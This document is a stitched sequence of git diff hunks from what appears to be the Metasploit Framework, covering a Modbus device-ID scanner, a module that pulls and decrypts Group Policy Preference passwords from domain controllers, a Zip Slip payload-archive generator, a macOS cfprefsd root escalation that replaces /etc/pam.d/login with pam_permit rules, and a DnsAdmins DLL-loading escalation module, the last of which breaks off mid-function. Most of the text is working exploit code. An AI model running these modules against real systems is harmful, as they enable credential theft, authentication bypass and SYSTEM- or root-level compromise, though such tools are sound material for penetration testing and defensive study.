when "\xab\x05"
|
||||
print_error('Acknowledge: Slave has accepted the request and is processing it, but requires a long period of time to process it.')
|
||||
when "\xab\x06"
|
||||
print_error('Slave Device Busy: Slave is engaged in processing a long-duration program command.')
|
||||
when "\xab\x07"
|
||||
print_error('Negative Acknowledge: Slave cannot perform the programming function recieved in the query.')
|
||||
when "\xab\x08"
|
||||
print_error('Memory Parity Error: Slave detected a parity error in memory.')
|
||||
when "\xab\x0a"
|
||||
print_error('Gateway Path Unavailable: The gateway was likely misconfigured or is overloaded as it was unable to internally connect the input and output channels.')
|
||||
when "\xab\x0b"
|
||||
print_error("Gateway Target Device Failed to Respond: Gateway could not find the target device on the network or the target device didn't respond.")
|
||||
else
|
||||
print_error('MODBUS - received incorrect data.')
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
object_name = {
|
||||
0 => 'VendorName',
|
||||
1 => 'ProductCode',
|
||||
2 => 'Revision',
|
||||
3 => 'VendorUrl',
|
||||
4 => 'ProductName',
|
||||
5 => 'ModelName',
|
||||
6 => 'UserAppName',
|
||||
7 => 'Reserved',
|
||||
8 => 'Reserved',
|
||||
9 => 'Reserved',
|
||||
10 => 'Reserved',
|
||||
128 => 'PrivateObjects',
|
||||
255 => 'PrivateObjects'
|
||||
}
|
||||
|
||||
# Modbus/TCP Response Bytes
|
||||
mbtcp = {
|
||||
'trans_id' => { 'start' => 0, 'bytes' => 2 },
|
||||
'prot_id' => { 'start' => 2, 'bytes' => 2 },
|
||||
'len' => { 'start' => 4, 'bytes' => 2 },
|
||||
'unit_id' => { 'start' => 6, 'bytes' => 1 },
|
||||
'func_code' => { 'start' => 7, 'bytes' => 1 },
|
||||
'mei' => { 'start' => 8, 'bytes' => 1 },
|
||||
'read_device_id' => { 'start' => 9, 'bytes' => 1 },
|
||||
'conformity_level' => { 'start' => 10, 'bytes' => 1 },
|
||||
'more_follows' => { 'start' => 11, 'bytes' => 1 },
|
||||
'next_object_id' => { 'start' => 12, 'bytes' => 1 },
|
||||
'num_objects' => { 'start' => 13, 'bytes' => 1 },
|
||||
'object_id' => { 'start' => 14, 'bytes' => 1 },
|
||||
'objects_len' => { 'start' => 15, 'bytes' => 1 },
|
||||
'object_str_value' => { 'start' => 16, 'bytes' => nil }
|
||||
}
|
||||
|
||||
begin
|
||||
connect
|
||||
|
||||
packet = "\x44\x62" # Transaction Identifier
|
||||
packet << "\x00\x00" # Protocol Identifier
|
||||
packet << "\x00\x05" # Length
|
||||
packet << "\xFF" # Unit Identifier
|
||||
packet << "\x2b" # 0010 1011 = Function Code: Encapsulated Interface Transport (43)
|
||||
packet << "\x0e" # MEI type: Read Device Identification (14)
|
||||
packet << "\x03" # Read Device ID: Extended Device Identification (3)
|
||||
packet << "\x00" # Object ID: VendorName (0)
|
||||
|
||||
sock.put(packet)
|
||||
data = sock.get_once(-1, datastore['TIMEOUT'])
|
||||
|
||||
unless data
|
||||
raise ::Rex::ConnectionTimeout
|
||||
end
|
||||
|
||||
# Read Device Identification (43)
|
||||
unless data[mbtcp['func_code']['start'], 2] == "\x2b\x0e"
|
||||
handle_exception_codes(data[mbtcp['func_code']['start'], 2])
|
||||
return
|
||||
end
|
||||
|
||||
num_objects = data[mbtcp['num_objects']['start'], mbtcp['num_objects']['bytes']]
|
||||
|
||||
if num_objects.nil?
|
||||
print_error('MODBUS - No data was received from the target machine, its possible it may be offline or not responding.')
|
||||
return
|
||||
end
|
||||
|
||||
num_objects = num_objects.unpack1('C')
|
||||
print_status("Number of Objects: #{num_objects}")
|
||||
object_start = mbtcp['object_id']['start']
|
||||
|
||||
for _i in 1..num_objects.to_i
|
||||
object = Hash.new
|
||||
object['id'] = data[object_start, mbtcp['object_id']['bytes']].unpack1('C')
|
||||
object['len'] = data[object_start + mbtcp['object_id']['bytes'], mbtcp['objects_len']['bytes']].unpack1('C')
|
||||
object['str_value'] = data[object_start + mbtcp['object_id']['bytes'] + mbtcp['objects_len']['bytes'], object['len']].unpack1('a*')
|
||||
if object_name.key?(object['id'])
|
||||
object['name'] = object_name[object['id']]
|
||||
else
|
||||
object['name'] = 'Missing_Name'
|
||||
end
|
||||
|
||||
print_good("#{object['name']}: #{object['str_value']}")
|
||||
object_start = object_start + mbtcp['object_id']['bytes'] + mbtcp['objects_len']['bytes'] + object['len']
|
||||
|
||||
report_note(
|
||||
host: ip,
|
||||
proto: 'tcp',
|
||||
port: rport,
|
||||
sname: 'modbus',
|
||||
type: "modbus.#{object['name'].downcase}",
|
||||
data: object['str_value']
|
||||
)
|
||||
end
|
||||
rescue ::Interrupt
|
||||
print_error('MODBUS - Interrupt during payload')
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionError, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
|
||||
print_error("MODBUS - Network error during payload: #{e}")
|
||||
return
|
||||
rescue ::EOFError
|
||||
print_error('MODBUS - No reply')
|
||||
return
|
||||
end
|
||||
|
||||
def cleanup
|
||||
disconnect rescue nil
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Description' => %Q{
|
||||
This module enumerates files from target domain controllers and connects to them via SMB.
|
||||
It then looks for Group Policy Preference XML files containing local/domain user accounts
|
||||
and passwords and decrypts them using Microsofts public AES key. This module has been
|
||||
and passwords and decrypts them using Microsoft's public AES key. This module has been
|
||||
tested successfully on a Win2k8 R2 Domain Controller.
|
||||
},
|
||||
'Author' =>
|
||||
@@ -30,6 +30,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-1812'],
|
||||
['MSB', 'MS14-025'],
|
||||
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
|
||||
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
|
||||
@@ -43,19 +44,16 @@ class MetasploitModule < Msf::Auxiliary
|
||||
OptPort.new('RPORT', [true, 'The Target port', 445]),
|
||||
OptBool.new('STORE', [true, 'Store the enumerated files in loot.', true])
|
||||
])
|
||||
|
||||
deregister_options('SMB::ProtocolVersion')
|
||||
end
|
||||
|
||||
def check_path(ip, path)
|
||||
vprint_status("Trying to download \\\\#{ip}\\#{path}...")
|
||||
begin
|
||||
fd = simple.open("\\#{path}", 'ro')
|
||||
fd.close
|
||||
print_good "Found Policy Share on #{ip}"
|
||||
smb_download(ip, path)
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
case e.get_error(e.error_code)
|
||||
smb_download(ip, fd, path)
|
||||
rescue ::RubySMB::Error::UnexpectedStatusCode => e
|
||||
case e.status_code.name
|
||||
when 'STATUS_FILE_IS_A_DIRECTORY'
|
||||
print_good("Directory FOUND: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}")
|
||||
when 'STATUS_OBJECT_NAME_NOT_FOUND'
|
||||
@@ -70,9 +68,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
vprint_error("Host rejected with insufficient resources!")
|
||||
when 'STATUS_OBJECT_NAME_INVALID'
|
||||
vprint_error("opening \\#{path} bad filename")
|
||||
else
|
||||
return
|
||||
end
|
||||
ensure
|
||||
fd.close unless fd.nil?
|
||||
end
|
||||
end
|
||||
|
||||
@@ -139,12 +137,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def smb_download(ip, path)
|
||||
def smb_download(ip, fd, path)
|
||||
vprint_status("Downloading #{path}...")
|
||||
|
||||
fd = simple.open("\\#{path}", 'ro')
|
||||
data = fd.read
|
||||
fd.close
|
||||
|
||||
path_elements = path.split('\\')
|
||||
ret_obj = {
|
||||
@@ -167,39 +163,31 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def run_host(ip)
|
||||
print_status('Connecting to the server...')
|
||||
begin
|
||||
connect(versions: [1])
|
||||
connect
|
||||
smb_login
|
||||
print_status("Mounting the remote share \\\\#{ip}\\#{datastore['SMBSHARE']}'...")
|
||||
simple.connect("\\\\#{ip}\\#{datastore['SMBSHARE']}")
|
||||
tree = simple.client.tree_connect("\\\\#{ip}\\#{datastore['SMBSHARE']}")
|
||||
|
||||
root_listing = simple.client.find_first("*")
|
||||
corp_domain = ''
|
||||
root_listing.each_key do |key|
|
||||
next if key == '.' || key == '..'
|
||||
corp_domain = key
|
||||
end
|
||||
corp_domain = tree.list.map { |entry| entry.file_name.value.to_s.encode }.detect { |entry| entry != '.' && entry != '..' }
|
||||
fail_with(Failure::NotFound, 'Could not find the domain folder') if corp_domain.nil?
|
||||
|
||||
sub_folder_listing = simple.client.find_first("#{corp_domain}\\Policies\\*")
|
||||
sub_folders = []
|
||||
sub_folder_listing.each_key do |key|
|
||||
next if key == '.' || key == '..'
|
||||
sub_folders << key
|
||||
end
|
||||
sub_folders = tree.list(directory: "#{corp_domain}\\Policies").map { |entry| entry.file_name.value.to_s.encode }
|
||||
|
||||
gpp_locations = %w(
|
||||
\\MACHINE\\Preferences\\Groups\\Groups.xml
|
||||
\\USER\\Preferences\\Groups\\Groups.xml
|
||||
\\MACHINE\\Preferences\\Services\\Services.xml
|
||||
\\USER\\Preferences\\Printers\\Printers.xml
|
||||
\\USER\\Preferences\\Drives\\Drives.xml
|
||||
\\MACHINE\\Preferences\\Datasources\\DataSources.xml
|
||||
\\USER\\Preferences\\Datasources\\DataSources.xml
|
||||
\\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
|
||||
\\USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
|
||||
MACHINE\\Preferences\\Groups\\Groups.xml
|
||||
USER\\Preferences\\Groups\\Groups.xml
|
||||
MACHINE\\Preferences\\Services\\Services.xml
|
||||
USER\\Preferences\\Printers\\Printers.xml
|
||||
USER\\Preferences\\Drives\\Drives.xml
|
||||
MACHINE\\Preferences\\Datasources\\DataSources.xml
|
||||
USER\\Preferences\\Datasources\\DataSources.xml
|
||||
MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
|
||||
USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
|
||||
)
|
||||
sub_folders.each do |i|
|
||||
sub_folders.each do |sub_folder|
|
||||
next if sub_folder == '.' || sub_folder == '..'
|
||||
gpp_locations.each do |gpp_l|
|
||||
check_path(ip,"#{corp_domain}\\Policies\\#{i}#{gpp_l}")
|
||||
check_path(ip,"#{corp_domain}\\Policies\\#{sub_folder}\\#{gpp_l}")
|
||||
end
|
||||
end
|
||||
rescue ::Exception => e
|
||||
|
||||
@@ -88,7 +88,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
break if protocol.nil?
|
||||
version = { 'SMB2' => 2, 'SMB3' => 3 }.fetch(protocol, 1)
|
||||
versions.filter! { |v| v < version }
|
||||
versions.select! { |v| v < version }
|
||||
|
||||
dialect = simple.client.dialect
|
||||
if simple.client.is_a? RubySMB::Client
|
||||
|
||||
@@ -11,44 +11,49 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Generic Zip Slip Traversal Vulnerability",
|
||||
'Description' => %q{
|
||||
This is a generic arbitrary file overwrite technique, which typically results in remote
|
||||
command execution. This targets a simple yet widespread vulnerability that has been
|
||||
seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.
|
||||
The idea is that often archive extraction libraries have no mitigations against
|
||||
directory traversal attacks. If an application uses it, there is a risk when opening an
|
||||
archive that is maliciously modified, and result in the embedded payload to be written
|
||||
to an arbitrary location (such as a web root), and result in remote code execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Snyk', # Technique discovery
|
||||
'sinn3r' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://snyk.io/research/zip-slip-vulnerability']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'DisablePayloadHandler' => true
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Generic Zip Slip Traversal Vulnerability',
|
||||
'Description' => %q{
|
||||
This is a generic arbitrary file overwrite technique, which typically results in remote
|
||||
command execution. This targets a simple yet widespread vulnerability that has been
|
||||
seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.
|
||||
The idea is that often archive extraction libraries have no mitigations against
|
||||
directory traversal attacks. If an application uses it, there is a risk when opening an
|
||||
archive that is maliciously modified, and result in the embedded payload to be written
|
||||
to an arbitrary location (such as a web root), and result in remote code execution.
|
||||
},
|
||||
'Platform' => ['linux', 'win', 'unix'],
|
||||
'Targets' =>
|
||||
[
|
||||
['Manually determined', {}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jun 05 2018"
|
||||
))
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Snyk', # Technique discovery
|
||||
'sinn3r', # Metasploit
|
||||
'ggkitsas'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://snyk.io/research/zip-slip-vulnerability']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
'Platform' => ['linux', 'win', 'unix'],
|
||||
'Targets' =>
|
||||
[
|
||||
['Manually determined', {}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Jun 05 2018'
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('FILENAME', [true, 'The tar file (tar)', 'msf.tar']),
|
||||
OptString.new('FILENAME', [true, 'The name of the archive file', 'msf.tar']),
|
||||
OptEnum.new('FTYPE', [true, 'The archive type', 'tar', ['tar', 'zip'] ]),
|
||||
OptString.new('TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin'])
|
||||
])
|
||||
end
|
||||
@@ -57,56 +62,63 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
attr_reader :data
|
||||
attr_reader :fname
|
||||
attr_reader :payload
|
||||
attr_reader :type
|
||||
|
||||
def initialize(n, p)
|
||||
def initialize(n, p, t)
|
||||
@fname = n
|
||||
@payload = p
|
||||
@type = t
|
||||
@data = make
|
||||
end
|
||||
|
||||
def make
|
||||
data = ''
|
||||
path = Rex::FileUtils.normalize_unix_path(fname)
|
||||
tar = StringIO.new
|
||||
Rex::Tar::Writer.new(tar) do |t|
|
||||
t.add_file(path, 0777) do |f|
|
||||
f.write(payload)
|
||||
|
||||
if type == 'tar'
|
||||
contents = StringIO.new
|
||||
Rex::Tar::Writer.new(contents) do |t|
|
||||
t.add_file(path, 0o777) do |f|
|
||||
f.write(payload)
|
||||
end
|
||||
end
|
||||
contents.seek(0)
|
||||
data = contents.read
|
||||
contents.close
|
||||
data
|
||||
elsif type == 'zip'
|
||||
zip = Rex::Zip::Archive.new
|
||||
zip.add_file(path, payload)
|
||||
data = zip.pack
|
||||
end
|
||||
tar.seek(0)
|
||||
data = tar.read
|
||||
tar.close
|
||||
data
|
||||
end
|
||||
end
|
||||
|
||||
def make_tar(target_payload_path)
|
||||
def make_archive(target_payload_path, type)
|
||||
elf = generate_payload_exe(code: payload.encoded)
|
||||
archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe)
|
||||
archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe, type)
|
||||
archive.make
|
||||
end
|
||||
|
||||
def exploit
|
||||
target_payload_path = datastore['TARGETPAYLOADPATH']
|
||||
unless target_payload_path.match(/\.\.\//)
|
||||
unless target_payload_path.match(%r{\.\./})
|
||||
print_error('Please set a traversal path')
|
||||
return
|
||||
end
|
||||
|
||||
tar = make_tar(target_payload_path)
|
||||
file_create(tar)
|
||||
archive = make_archive(target_payload_path, datastore['FTYPE'])
|
||||
file_create(archive)
|
||||
print_status('When extracted, the payload is expected to extract to:')
|
||||
print_status(target_payload_path)
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
A quick test:
|
||||
|
||||
$ python
|
||||
>>> import tarfile
|
||||
>>> t = tarfile.open('test.tar')
|
||||
>>> t.extractall()
|
||||
>>> exit()
|
||||
|
||||
=end
|
||||
# A quick test:
|
||||
#
|
||||
# $ python
|
||||
# >>> import tarfile
|
||||
# >>> t = tarfile.open('test.tar')
|
||||
# >>> t.extractall()
|
||||
# >>> exit()
|
||||
#
|
||||
|
||||
@@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Remote::CheckModule
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
@@ -41,6 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'CheckModule' => 'auxiliary/scanner/misc/java_rmi_server',
|
||||
'WfsDelay' => 10
|
||||
},
|
||||
'Targets' =>
|
||||
|
||||
@@ -0,0 +1,159 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Post::File
|
||||
include Msf::Post::OSX::Priv
|
||||
include Msf::Post::OSX::System
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'macOS cfprefsd Arbitrary File Write Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in
|
||||
order to run a payload as root. The CFPreferencesSetAppValue function, which is
|
||||
reachable from most unsandboxed processes, can be exploited with a race condition
|
||||
in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login
|
||||
a user can then login as root with the `login root` command without a password.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
|
||||
'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
|
||||
'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
|
||||
'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
|
||||
'timwr' # metasploit integration
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2020-9839'],
|
||||
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
|
||||
],
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X64,
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
|
||||
'Targets' => [
|
||||
[ 'Mac OS X x64 (Native Payload)', {} ],
|
||||
],
|
||||
'DisclosureDate' => 'Mar 18 2020'
|
||||
)
|
||||
)
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
@@target_file = "/etc/pam.d/login"
|
||||
@@original_content = %q(# login: auth account password session
|
||||
auth optional pam_krb5.so use_kcminit
|
||||
auth optional pam_ntlm.so try_first_pass
|
||||
auth optional pam_mount.so try_first_pass
|
||||
auth required pam_opendirectory.so try_first_pass
|
||||
account required pam_nologin.so
|
||||
account required pam_opendirectory.so
|
||||
password required pam_opendirectory.so
|
||||
session required pam_launchd.so
|
||||
session required pam_uwtmp.so
|
||||
session optional pam_mount.so
|
||||
)
|
||||
@@replacement_content = %q(# login: auth account password session
|
||||
auth optional pam_permit.so
|
||||
auth optional pam_permit.so
|
||||
auth optional pam_permit.so
|
||||
auth required pam_permit.so
|
||||
account required pam_permit.so
|
||||
account required pam_permit.so
|
||||
password required pam_permit.so
|
||||
session required pam_permit.so
|
||||
session required pam_permit.so
|
||||
session optional pam_permit.so
|
||||
)
|
||||
|
||||
def check
|
||||
version = Gem::Version.new(get_system_version)
|
||||
if version > Gem::Version.new('10.15.4')
|
||||
CheckCode::Safe
|
||||
elsif version < Gem::Version.new('10.15')
|
||||
CheckCode::Safe
|
||||
else
|
||||
CheckCode::Appears
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
unless writable? datastore['WritableDir']
|
||||
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
|
||||
end
|
||||
|
||||
payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
|
||||
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
|
||||
upload_and_chmodx payload_file, binary_payload
|
||||
register_file_for_cleanup payload_file
|
||||
|
||||
current_content = read_file(@@target_file)
|
||||
@restore_content = current_content
|
||||
|
||||
if current_content == @@replacement_content
|
||||
print_warning("The contents of #{@@target_file} was already replaced")
|
||||
elsif current_content != @@original_content
|
||||
print_warning("The contents of #{@@target_file} did not match the expected contents")
|
||||
@restore_content = nil
|
||||
end
|
||||
|
||||
exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
|
||||
exploit_exe = exploit_data 'CVE-2020-9839', 'exploit'
|
||||
upload_and_chmodx exploit_file, exploit_exe
|
||||
register_file_for_cleanup exploit_file
|
||||
|
||||
exploit_cmd = "#{exploit_file} #{@@target_file}"
|
||||
print_status("Executing exploit '#{exploit_cmd}'")
|
||||
result = cmd_exec(exploit_cmd)
|
||||
print_status("Exploit result:\n#{result}")
|
||||
unless write_file(@@target_file, @@replacement_content)
|
||||
print_error("#{@@target_file} could not be written")
|
||||
end
|
||||
|
||||
login_cmd = "echo '#{payload_file} & disown' | login root"
|
||||
print_status("Running cmd:\n#{login_cmd}")
|
||||
result = cmd_exec(login_cmd)
|
||||
unless result.blank?
|
||||
print_status("Command output:\n#{result}")
|
||||
end
|
||||
end
|
||||
|
||||
def new_session_cmd(session, cmd)
|
||||
if session.type.eql? 'meterpreter'
|
||||
session.sys.process.execute '/bin/bash', "-c '#{cmd}'"
|
||||
else
|
||||
session.shell_command_token cmd
|
||||
end
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
return super unless @restore_content
|
||||
if write_file(@@target_file, @restore_content)
|
||||
new_session_cmd(session, "chgrp wheel #{@@target_file}")
|
||||
new_session_cmd(session, "chown root #{@@target_file}")
|
||||
new_session_cmd(session, "chmod 644 #{@@target_file}")
|
||||
print_good("#{@@target_file} was restored")
|
||||
else
|
||||
print_error("#{@@target_file} could not be restored!")
|
||||
end
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,403 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'metasploit/framework/compiler/windows'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Services
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the
|
||||
`ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\`
|
||||
named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. After doing so, restarting the service
|
||||
will load the DLL and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended
|
||||
when using a UNC path.
|
||||
|
||||
Users should note that if the DLLPath variable of this module is set to a UNC share that does not exist,
|
||||
the DNS server on the target will not be able to restart. Similarly if a UNC share is not utilized, and
|
||||
users instead opt to drop a file onto the disk of the target computer, and this gets picked up by Anti-Virus
|
||||
after the timeout specified by `AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll` value of the
|
||||
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key on the target computer may point to an nonexistant DLL,
|
||||
which will also prevent the DNS server from being able to restart. Users are advised to refer to the documentation for
|
||||
this module for advice on how to resolve this issue should it occur.
|
||||
|
||||
This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows
|
||||
Server version up to and including Windows Server 2019.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83'],
|
||||
['URL', 'https://adsecurity.org/?p=4064'],
|
||||
['URL', 'http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html']
|
||||
],
|
||||
'DisclosureDate' => 'May 08 2017',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Shay Ber', # vulnerability discovery
|
||||
'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' => [[ 'Automatic', {} ]],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 20,
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Notes' =>
|
||||
{
|
||||
'Stability' => [CRASH_SERVICE_DOWN], # The service can go down if AV picks up on the file at an
|
||||
# non-optimal time or if the UNC path is typed in wrong.
|
||||
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],
|
||||
'Reliability' => [REPEATABLE_SESSION]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DLLNAME', [ true, 'DLL name (default: msf.dll)', 'msf.dll']),
|
||||
OptString.new('DLLPATH', [ true, 'Path to DLL. Can be a UNC path. (default: %TEMP%)', '%TEMP%']),
|
||||
OptBool.new('MAKEDLL', [ true, 'Just create the DLL, do not exploit.', false]),
|
||||
OptInt.new('AVTIMEOUT', [true, 'Time to wait for AV to potentially notice the DLL file we dropped, in seconds.', 60])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('FILE_CONTENTS')
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows 20(03|08|12|16\+|16)/
|
||||
vprint_good('OS seems vulnerable.')
|
||||
else
|
||||
vprint_error('OS is not vulnerable!')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
username = client.sys.config.getuid
|
||||
user_sid = client.sys.config.getsid
|
||||
hostname = sysinfo['Computer']
|
||||
vprint_status("Running check against #{hostname} as user #{username}...")
|
||||
|
||||
srv_info = service_info('DNS')
|
||||
if srv_info.nil?
|
||||
vprint_error('Unable to enumerate the DNS service!')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if srv_info && srv_info[:display].empty?
|
||||
vprint_error('The DNS service does not exist on this host!')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
# for use during permission check
|
||||
if srv_info[:dacl].nil?
|
||||
vprint_error('Unable to determine permissions on the DNS service!')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
dacl_items = srv_info[:dacl].split('D:')[1].scan(/\((.+?)\)/)
|
||||
|
||||
vprint_good("DNS service found on #{hostname}.")
|
||||
|
||||
# user must be a member of the DnsAdmins group to be able to change ServerLevelPluginDll
|
||||
group_membership = get_whoami
|
||||
unless group_membership
|
||||
vprint_error('Unable to enumerate group membership!')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless group_membership.include? 'DnsAdmins'
|
||||
vprint_error("User #{username} is not part of the DnsAdmins group!")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
# find the DnsAdmins group SID
|
||||
dnsadmin_sid = ''
|
||||
group_membership.each_line do |line|
|
||||
unless line.include? 'DnsAdmins'
|
||||
next
|
||||
end
|
||||
|
||||
vprint_good("User #{username} is part of the DnsAdmins group.")
|
||||
line.split.each do |item|
|
||||
unless item.include? 'S-'
|
||||
next
|
||||
end
|
||||
|
||||
vprint_status("DnsAdmins SID is #{item}")
|
||||
dnsadmin_sid = item
|
||||
break
|
||||
end
|
||||
break
|
||||
end
|
||||
|
||||
# check if the user or DnsAdmins group has the proper permissions to start/stop the DNS service
|
||||
if dacl_items.any? { |dacl_item| dacl_item[0].include? dnsadmin_sid }
|
||||
dnsadmin_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? dnsadmin_sid }[0]
|
||||
if dnsadmin_dacl.include? 'RPWP'
|
||||
vprint_good('Members of the DnsAdmins group can start/stop the DNS service.')
|
||||
end
|
||||
elsif dacl_items.any? { |dacl_item| dacl_item[0].include? user_sid }
|
||||
user_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? user_sid }[0]
|
||||
if user_dacl.include? 'RPWP'
|
||||
vprint_good("User #{username} can start/stop the DNS service.")
|
||||
end
|
||||
else
|
||||
vprint_error("User #{username} does not have permissions to start/stop the DNS service!")
|
